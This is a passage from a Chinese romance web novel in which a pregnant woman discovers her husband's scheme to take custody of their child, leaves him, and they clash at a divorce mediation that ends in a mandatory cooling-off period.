这样的说辞并不能糊弄甄宝珠,她一个人坐在沙发上等他回家,等了三个小时,也想了三个小时。 她现在无比清醒,抬手止住黎铮靠近的动作,“我和你说过,没有人能接受枕边人的算计,这个时候你还不打算坦诚吗?” 黎铮颓唐地陷进沙发,一言不发。 她木木看着黎铮,眼前的人忽然之间很模糊,“你一直是个很有计划的人,告诉我吧,你的计划,让我看清楚一点,不要再骗我了。” 他在一片黑暗的阴影下缄默,很久之后才开口:“最初认识你,我就是想要孩子。” “那是我的孩子,你只是个捐精者,你应该知道,捐精者自动放弃父亲身份。”她平静地说。 黎铮点头,长睫低垂,声音也哑,“只要我们结了婚,就是合法的夫妻。” “然后呢?”她的手掌放在自己肚子上,“你不会想和一个陌生女人共同抚养孩子。” “” 黎铮低头抿紧嘴唇,她看在眼里,那是他难于启齿的小动作。 “别再骗我了,行吗?”她的声音极轻极软,似乎在请求。 请求要做一个知道真相的人。 她不要做那个被蒙在鼓里的傻子。 “你生下孩子,我会想办法拿回孩子的抚养权。” 呵,还真的是个圈套。 “怎么拿?”甄宝珠问。 “你会婚内出轨,或者”他咬了咬牙,似乎咬紧牙关,就不会毁掉他们摇摇欲坠的关系。 “或者什么?”甄宝珠不解,只觉后背发冷。 黎铮眉头紧皱,呼吸也变得不匀称,嘴唇艰难撕开,声音微弱,几不可闻:“或者,犯罪。” 甄宝珠瞳孔紧缩,不敢置信地盯着他的眼睛。 轰 所有爱意如细水般渗入,又如雪崩般倒塌。 甄宝珠大脑一片空白,摇头嗫嚅:“我不会出轨,我也不会犯罪” 迟疑地说出最后那两个字时,甄宝珠恍悟,颤抖的嘴唇问他:“你会让我出轨,或者犯罪,是吗?” 就像黎铮对待他的仇人那样。 黎铮闭上眼睛,他不愿意看到甄宝珠泪光中的自己,那么卑鄙,那么无耻。 甄宝珠怒极反笑,眼泪也不争气地溢出,在脸颊连成水线。 “你把我当成一个生育机器,用完之后还要送去监狱。”她控制不住浑身发抖,哽咽问道:“黎铮,你把我当人了吗?” 黎铮半跪在她身前,想为她擦眼泪,她奋力挥开黎铮的手,同时给了他一记耳光。 狠厉、响亮。 没有半分犹豫。 他的脸都被扇偏, 脸侧划伤的血印沾在甄宝珠滚烫发麻的手心。 “别碰我!”她厉声嘶吼,大滴眼泪滚落在隆起的腹部。 “好,我不碰你,”他抬起双手,似是彻底投降,“以前是我不对,但我对你所有的感情都是真的,你相信我好吗?” “我凭什么相信你?”她带着愤怒地哭腔,一字一顿说:“你隐瞒我、欺骗我,你说的话,给我的承诺,都是你达到目的的手段!” “不是,不是的,”他红了眼眶,却只敢紧攥甄宝珠的衣摆,“我对你的承诺都是真的,你是最善良的人,我不想伤害你。” 他的那一副可怜样总是让她无比心软,但现如今她只觉得心像一颗被钝刀切开的柠檬。 “你就是这样对待一个最善良的人?”她冷冷地问,“你有人性吗?你的底线呢?” 黎铮沉默了。 她也无法再呆下去,起身就走。 黎铮直起弯曲的膝盖,攥紧她的手,把她按在怀里,让她本来就难以呼吸的胸腔更无法喘息。 他急迫地说:“你原谅我一次,行吗?不是你想的那样,你了解我的,我发誓不到万不得已我不会随便伤害别人,更不会伤害你。” 甄宝珠用力按住他胸口的伤疤将他狠狠推开,双眼溢满泪水,“你现在说的话,我一个字都不相信,黎铮,你也给我准备了两条路是吗?像报复你的仇人一样,我是你的仇人吗?你为什么要用对待仇人的方式对待我?!” 甄宝珠从他怀里挣出,他又马上慌乱地拉住她的手,好像总要抓住些什么,他将甄宝珠的手放在唇边,不停亲吻,乞求她了解自己的真心,“我做了错事,我知道你生气,想骂我打我,怎么能解气都行,但你不能就这么走了。” 他握住甄宝珠的手,一下下打在自己脸上。 甄宝珠甩开手,摇头冷眼,目光中饱含失望,“你竟然还觉得我只是生气,你欺骗我的感情,要把我送去监狱,我却只能对你生气吗?” 她用力咬着每一个字,“黎铮,我恨你!” “我爱你。”黎铮脱口而出。 甄宝珠只觉得讽刺,这是他第一次说爱她,她却不敢再相信了。 他俯身按住甄宝珠的肩膀,在她肩头摩挲,央求她:“我不要孩子,我要你,我要你也爱我,你说你也爱我,好不好?” 他的请求不合时宜,而且幼稚。 甄宝珠目光颤动,木然看着眼前快要发狂的男人。 在她们的关系里,说我要的人,总是甄宝珠。 这大概是黎铮第一次说他要什么,而他要的东西,甄宝珠负担不起。 假如是之前,哪怕只是一天之前,黎铮这句我爱你,都会让甄宝珠欣喜若狂。 而现在,甄宝珠会下意识去想,这是不是黎铮行骗的话术,他用那种破碎的眼神看着她,是不是只为让她心软,之前他所有脆弱不堪的时刻,是不是为她设下的圈套。 迷惘、混沌、矛盾。 她皱眉、她摇头、她步步后退。 黎铮按住甄宝珠的肩膀,不让她往后撤,他要她直视爱,要她回应他的爱,要她再说永远不离开的话。 她说过的,她说过好多次。 “宝珠,你给我一个机会,让我补偿,让我赎罪,我知道你是因为爱我才恨我,我不会让你一直恨我的,”他舔了舔干燥的嘴唇,脱下西装外套随意扔在地上,伸出颤抖的手去剥甄宝珠的衣服,“我们做.爱吧,你不是一直想吗?我轻轻的,不会弄疼你。” “可是,你已经弄疼我了。” 她低头望向自己凌乱的上衣纽扣,控制不住害怕发抖的声音:“现在你是要强.奸我吗?” 危险。 她只嗅到危险的气息,也意识到黎铮本来就是个可怕的人。 是她色胆包天,竟然一直被危险的气息疯狂吸引,却从没想过有一天他会展露出可怕的那一面,更没想过他会伤害她。 她掩住口鼻,禁止自己再闻到他身上的苦涩味道,她要为自己、为胎儿做出最理性安全的选择。 她得离开这里,不能再与他纠缠。 即便黎铮听到她的问话就立刻停手,把她衬衫的衣扣一粒粒系好,整个人都在绝望边缘,“不、我不会,要不你告诉我,怎么样你才能原谅我?” 她把手贴紧腹部,无比平静地说:“黎铮,我想我们都应该冷静一下。” “然后呢?”他捧住她的一双手,紧紧不肯放开,始终冷静的男人此刻言语急切错乱:“你、你会原谅我,对不对?你说过你不会离开我,你说过好多次。” “求你别逼我了,行吗?”甄宝珠精疲力尽,眼睛酸痛,面前的人她看不清。 黎铮不敢相信,他的身体、他的爱现在对甄宝珠来说竟是逼迫。 他弓着背,低头深深埋进她的颈窝,将玫珑蜜瓜般的甜蜜灌入口鼻,渴望从她出了冷汗的皮肤中得到爱的温度。 她推开了他。 无力的、极度恐惧的。 黎铮的手开始控制不住颤抖,他清楚的明白自己即将失控,但他不能允许自己失控,不能允许自己再次伤害她。 “我不逼你,你别走,我可以走,你什么时候打算原谅我了,我再回来,好吗?” 感情像一场绑架,他求她原谅,她求他放过,痒过了劲儿,也是一种疼。 甄宝珠摇头,“我想回甄家,魏铭在外面等我。” 黎铮的眼神逐渐狠厉,微哑的嗓音轻轻问她:“是魏铭告诉你的?” “是我自己发现的,”她用失望的眼神面对黎铮,“如果你敢伤害我身边的人,我们就不要再谈原谅了。” 他的头脑乱成一团,不甘心她坐上魏铭的车离开,又没有办法忤逆,只能丧气地说一句:“我不会。” 他看着甄宝珠收拾好散落的档案袋,又拎起包,她每动一下,黎铮的瞳孔就在眼中跳动一下。 最后,黎铮看着她走出家门,临走时一句话都没和他说。 十分钟后,黎铮收到甄宝珠发来的短信。 【离婚】 40-48 第41章 第 41 章 欺骗、伤害、爱 发出那条短信的时候, 甄宝珠很冷静。 早在黎铮回家前,她已经做好了离开的准备,她把狗送到车上, 在他的书房翻找出结婚证,她留在那里只是要听黎铮亲口承认,但她没想到, 明明已经有了心理准备, 此时心口还是抽搐着疼。 短信发出去之后, 黎铮立刻就打来电话。 她给黎铮设置的专属铃声响了一遍又一遍, 那首歌总是唱了半句就被掐断。 车窗之外,灯火阑珊。 魏铭的车已经驶入主路,甄宝珠坐在副驾驶, 垂着眼睫呆望手机屏幕里黎铮的名字。 魏铭小心翼翼地问:“他为什么还在给你打电话, 你们…没说离婚的事儿吗?” 甄宝珠在那个房子里呆了将近八个小时,每一秒钟, 魏铭都提心吊胆, 现在车速都比平时快许多。 “刚说。”甄宝珠简短回答, 仿佛已经耗尽力气,不想再多说什么话。 “那你们一直在谈什么?”魏铭问。 “”甄宝珠想了想,“谈欺骗、伤害、爱。” 最后一字很轻, 像模模糊糊的叹息。 “你爱上他了?”魏铭也叹息。 甄宝珠别头望向窗外,一直没说话。 她无法分清黎铮对她的感情是不是真的, 也不能理清自己,她憎恶他, 又忍不住想起他那双可怜的眼睛,也许只是因为身体里存在他的基因,胎儿也有激烈的反应。 “你脸色不好, 哪里难受吗?我们去医院检查一下吧。”魏铭说。 “不用,”甄宝珠摇头:“我自己清楚,难受不会忍着不说的。” 魏铭瞧了眼甄宝珠憔悴的面庞,她现在不正在忍吗? 电话一直在响,仿佛不死不休。 车子快要行驶回甄家时,甄宝珠才接通电话,两个人在听筒两头沉默呼吸,各自望着车窗外的车水马龙。 半晌,黎铮缓缓问:“你早就想好了是吗?” 他的声音像一口闷钟, 低沉、厚重、严肃、悲伤。 “是。” 甄宝珠唇边微抖,敲响婚姻的丧钟。 走出那个房子,她就是安全的,黎铮也能冷静下来,只要回到甄家,黎铮再想伤害她,也要有所忌惮。 之前她从未想过和黎铮在一起需要担心自己的人身安全,更没有设想过黎铮会伤害她。 算了,她没想到的事还有很多。 她自嘲笑笑。 无声的。 黎铮手里紧捏着那枚珍珠戒指,指腹摩擦圆润平缓的珍珠,心却像被锋利刀尖刺中。 她早就想好了。 他收到离婚的短信,想要追上她,却看到她留在玄关置物层的东西车钥匙、门禁卡和珍珠戒指。 所有他自愿赠予的东西,都被甄宝珠遗下。 她不会开他买的车,不会戴他送的戒指,不会想要原谅他而踏进他送的房子,她不屑于他的礼物,更不要他这个人。 黎铮沉默了很久,直到甄宝珠再次开口。 “我必须在孩子出生前和你离婚,我说的是必须,我不能允许你利用婚姻争孩子” “我不会,”黎铮打断她,“我也不离婚。” “你觉得我会相信你吗?”说起孩子,甄宝珠就变得无比冷静,“不管你愿不愿意,我们必须离婚。” “我不离婚。”黎铮总是在重复这句话。 甄宝珠阖上哭肿的眼皮,决绝地说:“你可以找律师,我不怕闹到人尽皆知,还有,甄家会派人保护我,如果你不想坐牢的话,离我远点儿。” “你为什么只敢在短信和电话里说离婚?我不接受,我不离婚。”黎铮更加强硬,仿佛从甄宝珠提出离婚开始他就没再听过后面的话,“你再见我一面,我们再好好谈谈,就算要离婚我也要你站在我面前,看着我的眼睛说。” “我不想看见你。”她轻声地说。 “我想看见你,”黎铮用力克制升腾的怒气,“我现在就想看见你,你是不是要回甄家?” “如果你去甄家,我就去魏铭家住。” 黎铮沉默,手指高频率地在后排扶手敲扣,他的目光定格指端,却发现大脑无法控制指尖的抖动。 就连电话那头的甄宝珠,都能听到他粗重的呼吸声。 “我不去了。”他妥协。 然而车子已经停在了甄家门口。 甄宝珠说:“下周一民政局见,到时候我不想和你纠缠,如果你不去,我就去医院引产,你听明白了吗?” 她挂断电话,把黎铮的号码拖进黑名单。 魏铭不禁担忧,这个时候引产很危险,会给她的身体留下不可磨灭的损害,虽然他也知道孕后期不可能有正经医院给她做引产,但甄宝珠的性格,什么事儿都能做得出来。 “就算黎铮伤害了你,你也不要伤害自己,这个阶段怎么能引产呢?引产会有许多后遗症” 甄宝平静地打断他,“我不会去引产的。” 黎铮的车就停在甄家大门前,他望着被挂断的电话,陷入无法自控的慌乱之中,他打开后排的小冰箱,颤抖着手拿出藏在冰箱里层的镇静药物,那是心理医生给他开的药,他已经很久没吃过了。 仰头吞下几粒,他感觉胸口憋闷,仿佛呼吸通道都被堵住,像中枪一样。 药物起效前,他的感官被无限放大,甚至能感觉到血液在血管里奔流如洪。 那些让他情绪跌宕的字眼被她很轻易地说出来,每一个字都刺进他的神经里,攻击理智的薄弱处。 离婚、引产。 他在黑色防弹玻璃后看着时间,等着那辆大众汽车出现在甄家门前,他要见到甄宝珠。 那十几分钟,他想了很多,但最多出现在眼前的还是甄宝珠那双含泪的眼睛。 一想到,他的药就仿佛失效了,大脑毫无秩序,身体不受控制,他只能多吃几粒药,最后将那半瓶全都倒进嘴里,咽了下去。 等到那辆大众车出现,甄宝珠苍白的脸在眼前一闪而过,他想下车,想拦住她,颤抖的手却始终打不开车门,只能眼睁睁看着车尾进入甄家大门。 药物起效,黎铮的手从车窗缓缓滑落,无力地合上眼睛。 世界是黑色,大脑一片纯白。 * 甄宝珠回到家,就把卧室房门一摔,紧跟在身后的魏铭差点儿撞到鼻子,却也不敢推门进去,怀里抱着她的小狗,身体僵直地守在门前。 甄玉珠在三楼听到摔门动静,推着轮椅从棋室下来。 轮椅停在甄宝珠紧闭的卧室门前,她看着魏铭焦急的神色,问:“她知道了?” 魏铭压根没想过甄宝珠会去医院找他,现在他满怀愧疚,“是我的错,我不应该把资料放在车上。” 甄玉珠点了点头,“知道了,但你为什么不第一时间告诉我?” “宝珠不让我告诉任何人,我也很乱,担心黎铮伤害她。” “她已经和黎铮谈过了?” “嗯,她说了离婚。” 甄玉珠的脸看不出什么情绪,只说:“把狗放下,你走吧。” 魏铭原地踌躇,犹犹豫豫说:“玉珠姐,我想留下,宝珠现在情绪很不稳定,她和黎铮说不去离婚就要引产,我我想住下,帮忙照顾她。” 甄玉珠面无表情看着魏铭,眼眸垂了下,对身边的戎昱说:“让人把客房收拾一下,你带他去房间。” 他们走后,甄玉珠沉了口气,在妹妹门前轻声唤她:“宝珠,把门打开,姐姐一个人在门外。” 待了片刻,甄宝珠的门打开条细缝,露出一双哭得红肿的眼睛。 看到姐姐一个人坐在外面,她于心不忍。 房间里的化妆品都被打翻在地,薄纱窗幔被扯下一半,甄宝珠坐在床边,目光呆滞地望着露天阳台,眼泪不由自主在脸颊两侧滑滚,凝在下巴颏上。 “姐,你是不是也知道?”甄宝珠偏头看向姐姐,泪水随着动作滴落在凸起的腹部。 甄玉珠柳眉微蹙,满眼心疼之色,却无法矢口否认,“是。” 甄宝珠觉得头晕,不敢相信她最信任的几个人竟然对她隐瞒同样的秘密,情绪也无法控制,猛地站起身,把手边的花瓶摔在地上,愤怒地喊:“你们都把我当成傻子!是不是全世界只有我一个人不知道,你们为什么都不告诉我?!” 这让甄玉珠心头一惊,妹妹从来都没有对她发过脾气,她也从未见过甄宝珠如此歇斯底里。 “不告诉你就是因为担心你现在的状况,”她凑近甄宝珠,想要解释,也想安抚情绪:“我想过很多次要告诉你,但情况复杂,后来你喜欢上了黎铮,我不想看到你伤心。” “你们要瞒我到什么时候?” “起码要到孩子出生。” “所以你们在意的根本就不是我的情绪,而是在意我的情绪会影响到孩子!”她委顿身形,低头自言自语:“你们不能这样对我,不能一边说不想让我伤心,又一边做让我伤心的事。” 脆弱的甄宝珠开始有了偏执的想法,不知从什么时候开始,她和她身边的所有人,做的所有事都是在为这个未出生的胎儿考虑,他们都欺骗她,只是为了保住她肚子里的孩子,他们没有把她当做主体考量,而是把她当成一个胎儿的载体。 她连呼吸都觉得刺痛,望向与她心连心的姐姐,她含着泪问:“姐,你还爱我吗?” 一滴眼泪打湿甄玉珠的眼睫, 她和甄宝珠一起哭。 “我当然爱你,宝珠,你不要这样想,在家人的眼里,你先是甄宝珠,是我们的妹妹,爸妈的女儿,之后才是一个孩子的母亲!”甄玉珠伸出手臂,探着半瘫痪的身子,努力够着妹妹的脸。 “宝珠,你不能因为一个男人伤害你就不相信所有的人,你要知道家人是无条件爱你的,不管你结没结婚,有没有孩子,我们对你的爱都不会减弱,也不会分给别人。” 甄宝珠哭着把脸凑过去,让姐姐冰凉的手心贴在她热泪纵横的脸上。 “姐…”她抱住姐姐,用力咬着嘴唇,还是控制不住嚎啕,“我恨黎铮,如果他从始至终对我都是冷冰冰的,没说过那些喜欢我的话,我也不会这么难受。” 那些温情,那些关切, 现在看来都是柔软中藏着刀锋。 所有的情话都变成谎言, 所有的爱意都成了目的。 原本满分爱的试卷,现在成了潦草的厕纸,而用心写下答案的她,看起来像世上最笨的傻子。 一想到她就悲痛到无法呼吸, 她这辈子都不想原谅他。 甄玉珠擦干她的眼泪,说:“如果你决定要离婚,也没什么大不了的,没有黎铮,还有我们,家人是你最坚强的后盾,如果你决定要恨黎铮” 甄玉珠温柔道:“那我们就恨他。” * 黎铮在医院昏睡了几天,医生说他服用太多精神类药物,怀疑他有自残倾向。 药物使他混沌,在那一片混沌中,只有甄宝珠的名字和样貌无比清晰。 他嘴唇干燥,意识不清,醒来第一件事就是问关林:“今天是周几?” “周六。”关林面色焦急,欲言又止。 “甄宝珠怎么了?”黎铮看着他的脸色,很自然就想到甄宝珠,心里又是一紧。 “不是宝珠小姐,”他有口难言,“黎总,我知道现在跟你说这个不合适,但是” 黎铮稍有放松,坐起身喝了一杯寡淡无味的水。 “周四收市前,我们公司股票忽然暴跌,昨天也是一字跌停,投资者都很恐慌,”关林说:“还有港商那边,不知道怎么得知你要离婚的消息,这几天总打电话,一直问后续项目开展是否有问题?” “知道了,给我办出院吧。”他说。 黎铮拿过床边的手机,忽略众多电子邮件和信息,直接打开甄宝珠的微信,最近一条信息还停留在她说离婚的那天早上。 【昨天晚上我梦到你了。(色色)】 他试着给甄宝珠发了一条信息,却收到红色叹号。 打电话给游悠,没响两声,游悠就挂断了他的电话。 他又打电话给甄世明,甄世明似乎也已经得知全部真相,在电话那头怒不可遏。 “黎铮,我接你的电话是为了告诉你,你可以随时撤资,我也不打算和你合作了,你不是想争孩子吗?我告诉你,我们甄家的孩子就是甄家的孩子,永远落不到外人手上。” “哦对了,甄玉珠让我转告你,周一准时到民政局和宝珠离婚,你不是想当爹吗?这两天你公司的股票让你过了爹瘾吗?” 黎铮一直静静听着,直到甄世明骂完。 他抿了抿发白的嘴唇,沉声问道:“宝珠现在好不好,这几天有没有监测胎动?” “这些以后都用不着你操心。”甄世明又骂了句脏的,就挂断电话。 电话挂断后,关林正办完出院手续回到病房,医生实在不建议黎铮出院,但没办法,公司也需要黎铮。 黎铮对刚进病房的关林说:“帮我找一个专业的离婚律师。” 第42章 第 42 章 冷静期。 那几天, 甄宝珠郁郁寡欢,她把和黎铮相识的过程前前后后想了几遍以黎铮的视角。 她曾把他们在一起的美好回忆放进她心里的梦幻城堡,现在城堡崩塌成一片废墟, 她站在废墟中间手足无措,拚命在虚幻的瓦砾中寻找一片真心。 他的脸庞、言语都破碎得不成样子,甄宝珠无法把黎铮拼在一起, 无法把这些碎片组成一个她认识的黎铮。 其实她早该发现的, 他说不介意她肚子里怀的孩子, 他对她的怀孕状态总是过分关注, 她还傻傻以为是自己的魅力迷倒了黎铮,自我陶醉地以为自己也是他心中独特的人,是救赎他的天使。 他一定觉得她很可笑, 认为她是个任人摆布的傻女人, 说几句甜言蜜语就晕头转向。 她对黎铮失望,那些失望情绪也在折磨着她的身体和心灵。 她明净美好的心灵受到重创, 人也蜷缩成一团, 好几天都没有出过房间门。 那些关心她的人轮流陪着她, 也试图从她沉默寡言的模样里找到一丝曾经活蹦乱跳的痕迹。 以前她总是心大,再不开心的事儿,最多三天也就扔到脑后了。 这都几天了。 游悠从魏铭那里听说甄宝珠的情况, 特地前来安慰,见甄宝珠之前, 魏铭跟她讲了引产对孕妇身体的伤害,把她听得一愣一愣的。 她在甄宝珠面前把黎铮骂得不是人一样, 又激动地捧住甄宝珠的手说:“姐妹,就算你想报复黎铮,想让他鸡飞蛋打, 也千万不能用伤害自己的方式!” 甄宝珠:“……你说我是鸡?” 游悠连呸几声,又撺掇她出去走走,“想不想去夜色皇宫?我给你办一场盛大派对,庆祝你从婚姻坟墓里爬出来。” “不想去。”她给了游悠一个勉强笑容。 她们坐在露天小阳台的椅子上晒太阳,游悠带来的小蛋糕她一口都没吃,只是远眺发呆。 “要不去商场Shopping,你把我当羊,使劲儿薅。”游悠怼怼她的手肘,挑眉“咩”了一声。 “不去了,我知道你想让我开心,我其实”甄宝珠垂下目光,长睫覆盖眼底的黯淡,她说:“不难过。” 游悠觉得甄宝珠变了,她明明就很难过。 那段时间,甄世明也经常回家,带着两个儿子天天在她眼前晃。 “甄宝珠,我把儿子带回来给你当牛做马,你有什么事儿都使唤他们,别跟哥客气。”他一手拉着一个孩子,站在甄宝珠卧室门前。 “不用了,太吵。”甄宝珠把门一关,继续坐在床上,收拾带回家的婴儿衣服。 甄世明大模大样推门进来,贱嗖嗖拿过她手上的婴儿服,又叠成方块形,“这样叠好放,用的时候好找。要不我找人把黎铮打一顿,你说吧,想让他在医院住几天?骨科还是ICU?” “你别乱来,”甄宝珠瞪他,又补了句:“你让他住院了,谁跟我离婚去。” “心疼他?”甄世明似问非问。 “不是。”甄宝珠别过头去,把甄世明从床上赶起来。 甄世明环抱手臂,歪头看着甄宝珠,脸上表情略严肃了些,“身为男人,我也不想为黎铮辩解什么,但作为一个单亲爸爸,我想说,日子很难,孩子会时不时问,为什么自己只有一个家长,这方面儿我有经验,如果我妹妹已经做好准备了,以后随时向我取经。” 甄宝珠抱着婴儿服发了会儿呆,转头问哥哥:“如果ta以后真的会问这样的问题,我该怎么说?” “你让ta来问舅舅,”甄世明倒床仰躺,似笑非笑,“我会告诉你的孩子,ta已经有了世界上最好的妈妈,当然,还有世界上最好的舅舅。” 见甄宝珠很久没吱声,甄世明又从床上翻起身来,视线正对上她泛起薄泪的眼睛。 她的唇角渐渐弯下,忽然有种想哭的感觉。 甄世明伸手捏住她的鼻子,警告她:“别在我面前哭啊,不然我先抽丫,后抽你。” “滚。”甄宝珠带着浓重的鼻音骂他。 * 周一早上,甄宝珠把结婚证、户口本装进包里。 整理衣帽间的时候她发现了黎铮的打火机,在她很久没背过的包包里,那个金色打火机是他们第一次见面时她拿走的,她也一并扔进包里,和结婚证躺在一起。 她没给黎铮打电话,只是在民政局上班的时间准时到了。 甄宝珠双手扶着后腰,站在台阶上深吸了一口冷空气,冷冽的寒气进入身体,让她可以清醒地打起精神应对这一切。 只不过是离婚,没什么大不了的。 她一个人能应付得来。 那辆奔驰商务车也准时停在民政局门口,奢华独特的车身引来路人侧目。 车上下来的人姿态挺拔、面无表情,眉眼间的强势气场让那件墨黑色大衣也只能作为陪衬,他登上台阶,脚步不急不缓,站定在甄宝珠面前。 黎铮瘦了。 短短几天,他好像瘦了一圈。 他的身材一直保持得很好,不是那种强壮到肌肉破皮而出的类型,薄薄的肌肉紧裹坚硬的骨骼,所以只要掉几斤体重,就显得清瘦颀长,肩膀平直骨棱分明,勉强撑起内里量身定制的黑西装。 两人四目相对,两下无言。 像是共同约好来参加一场葬礼。 “进去吧。”甄宝珠转头迈步。 “甄宝珠,”他仍站在原地,深邃双眼追着她的背影,“你真的想好了吗?” “我们必须在孩子出生前离婚,我不会给你争夺孩子的机会。”甄宝珠停住脚步,却没有回头。 “我说过了,我不要孩子。”黎铮闭眼沉气,来之前他又吃了几片药,此时相对冷静。 甄宝珠回过头,这些天她一直在想,她到底能不能从黎铮的眼神中分辨情义的真假。 现在她看着黎铮冷峻的双眼, 答案是否定。 “我不能再相信你了。”她摇头。 黎铮沉默了会儿,说:“你先进去,我要等律师来。” “律师?” “离婚律师。”他一副公事公办的样子。 甄宝珠紧锁眉头,“你又在算计什么?我们有财产要分割吗?” 黎铮不回答,只看着手表。 甄宝珠合理怀疑黎铮只是想拖延时间,站在外面和他一起等,倒要看看他说的律师是不是真的存在,结果还确有其人。 甄宝珠瞪着黎铮:“我们痛痛快快把婚离了不行吗?” 黎铮抬手和律师打招呼,转头对甄宝珠说:“不行。” 进入民政中心,他们前面已经排了几对儿,三个人就坐在等待区等着,律师坐在长椅中间隔开黎铮和甄宝珠。 等待过程中黎铮还在打电话处理工作,甄玉珠的一通操作让他身心俱疲。 甄宝珠斜睨一眼律师,随口问道:“你离成一单,能挣多少钱?” 律师清了清喉咙,说:“甄宝珠小姐,这属于我的隐私。” “黎铮给你多少钱?” “这个和我们的案件没关系。” 甄宝珠刚要开口多问两句,律师摆出职业微笑说:“我的咨询费是一小时五万,您还有什么想咨询的?” 甄宝珠眨了眨眼, 黎铮还挺下本儿的。 “他给你多少钱,我出两倍。”甄宝珠双手伸出中指,这挑衅的手势惊呆了律师。 “您知道,有个东西,叫做授权委托书,我只接受了黎先生的委托,如果再接受您的委托,他是可以告我的。”律师油盐不进。 甄宝珠笑笑,客客气气说:“那请您给我留个电话,等我下次离婚再找你。” 黎铮挂断电话,歪头看着甄宝珠,却被她恶狠狠地瞪了一眼。 离婚进入调解程序,她和黎铮一起走进调解室,两人分坐在长椅两头,中间隔着一人距离,互相偏着头,都不看对方,对面两个中年调解员倒也见怪不怪,倒是怀着孕来离婚的不多见,大概事情很严重,可能涉及作风问题。 “你们为什么想离婚?” 女调解员看向甄宝珠的肚子,她判断怎么也得怀孕七八个月了,女方双手交叉护住肚子,手上戴着红宝石戒指,转头一看男方,也戴着戒指。 这两个离婚都戴婚戒来的人 闹着玩儿呢? 黎铮沉默着不肯开口,甚至拒绝与调解员目光接触,看起来挺亏心。 甄宝珠松开紧咬的唇,说:“因为我肚子里的孩子是他的。” “哦,”男调解员低头登记,又猛抬头:“啊?!” 见过因为孩子不是亲生而离婚的案例,但没见过这种,他怀疑甄宝珠说错了,又不好直接问,急得抓耳挠腮。 “要不,你详细说说。”女调解员说。 甄宝珠又别过头,扬起脖颈,“不想详细说,走个流程而已,您也不用多问,我们俩肯定是要离的。” 女方不肯说话,女调解员又问黎铮,“夫妻感情不和吗?” “”黎铮瞟甄宝珠一眼,清了清嗓子,说:“没有不和,挺合得来,她和我在一起很快乐很舒服,虽然我认为那些是低等级的快乐,但她很享受。” 甄宝珠立刻听懂黎铮话中暗指,猛地扭回头,脸涨得通红,“谁舒服了?!谁享受了?!我告诉你,离婚你就好好离,别胡说八道!” 他眯着眼,目光定格在那一截修长脖颈,她恶言恶语的时候,他真想一口咬上去。 黎铮舔了舔唇,那双令甄宝珠舒服过的柔情嘴唇被浸润,“谁舒服谁自己知道。” 经他这么一提醒,甄宝珠还真想起一些不可言说的画面,无法控制地又盯着那双嘴唇,暗中狠掐自己一把,才让理智再次占据高地。 “大姐我跟你说,”她努力看着调解员,拒绝身边的诱惑,“我们离婚全是他的错。他” “他出轨了?”女调解员上下打量黎铮,这男人看起来确实长了一张爱出轨的脸。 “那倒没有,”甄宝珠不知道孕期离婚大概率是男方出轨,还有点纳闷儿,被大姐一说,她也有点儿怀疑,又转头问黎铮:“你有出轨吗?” 黎铮递给她一个冷冷的眼神,“你说呢?” 甄宝珠确信地对调解员说:“不是出轨。” “那是家暴?”调解员有点儿不大相信,女方看着挺厉害。 “也不是他、他骗婚,骗我生孩子。”甄宝珠斩钉截铁地说。 “我没骗你生孩子。”黎铮只能承认一半。 “你怎么没骗我?” “生孩子是你自己选的,是你选中了我,你记得吗?”黎铮挺直腰杆儿,认真地说:“你在一万个男人里选中了我,这叫万里挑一、一见钟情、情难自控,你疯狂地爱上我,一味地想生下拥有我优秀基因的孩子。” “我呸!”甄宝珠被气得血压升高,满脸红温,狠狠啐他,“你在这儿成语接龙呢?这完全是扭曲事实,我说过我爱你吗?你跟谁学的这么自恋?!” “跟你学的。” 她说一句,黎铮回一句。 表现得十分叛逆。 甄宝珠抓狂,将他们填好的表格卷成筒状,怒指黎铮,“那后来呢?来,你跟人家说说后来的事儿!” 这时候黎铮又不说话当哑巴了。 男调解员向前倾身,“后来怎么了?” 女调解员赶紧怼了他一下,在调解室打起来的也见过不少,现在人正在气头,可不能再激化矛盾。 她一边挡着脸自我防卫,一边抽过甄宝珠手里那叠纸,“我说,咱还怀着孕呢,你先别激动,你看哈,你们结婚时间也短,两个人现在属于是磨合期,离婚结婚都是严肃的事儿,不能一有矛盾就离婚,你们不如先冷静一下,等孩子出生再说。” “等不了,”甄宝珠叉腰挺肚,“您别费工夫劝我了,这婚我离定了!” 黎铮一直没言语,等到调解员问黎铮同不同意离婚,他才轻描淡写地说:“不同意。” 话音刚落,甄宝珠愤恨的眼神就从旁边直射过来,她一拍桌子,桌上顿时尘土飞扬,“黎铮!你再说一遍?” “不同意,我不同意离婚,问我一百遍也不同意,”黎铮看着她拍红的掌心,皱了皱眉,轻飘飘说:“我们还有财产没分。” “我们签过婚前协议,没有财产要分!” “撕了。” “” “而且我们还有狗。”黎铮说。 甄宝珠刚坐下,又差点儿站起来,“稍息是我捡回来的!” “后来你弯不下腰,是我每天在喂,”黎铮补充了一句:“早上你起不来,也是我天天遛狗。你抱走它,问过它的意愿吗?它说了想跟你吗?” “”甄宝珠把手一挥,“我不管,稍息是我的!” “那我也是你的。”黎铮说:“你要狗就得要我。” “你怎么这么不要脸啊!”甄宝珠将要用眼神杀死他,“离婚!我告诉你黎铮,今天从这儿走出去,咱两还没离婚,我就去把孩子打掉!” “随你,”他眼里泛起一丝怒意,也赌气道:“只要不离婚,以后还能怀上。” “你”甄宝珠快要气晕了。 两个调解员对视一眼,对甄宝珠说:“今天是肯定离不了,咱们现在有政策,离婚冷静期,一个月。” 黎铮好像早就知道,还认同地点了点头。 甄宝珠猛扭过头,瞪着调解员,“什么?!结婚怎么没有冷静期?” “结婚,有关爱情,需要冲动;离婚,有关财产,需要冷静。”调解员好像已经学习了一套固定话术来应对此类问题,“这样,你们再回去考虑考虑,把财产分割问题想想清楚,我先给你个回执单,一个月之后你们再来离。” 不待甄宝珠再说话,调解员就冲门外喊:“下一对儿。” * 走出调解室,甄宝珠拿着手上的回执单看了又看,“自离婚登记受理之日起三十日内,任何一方不愿离婚的,可以向登记机关撤回离婚登记申请。” 什么?! 再抬眼,黎铮已经快到停车场了,仿佛这个地方无比晦气,他得赶快离开。 她疾行两步,揪住黎铮的外套,大发雷霆,“黎铮,你什么意思?!” “我不离婚。”黎铮握住她的手,翻过她的手心看。 甄宝珠猛地抽回手,“我不可能让想要伤害我的人当我丈夫,也绝不可能让我的孩子和你生活在一起,你别以为蒙混过今天这婚就离不成了!” “只要不离婚,我们就还有机会,你担心我和你争孩子,我可以写保证书,写证明文件,写什么都行,律师就在这里,我们现在就可以拟协议,今天就能做公证。” 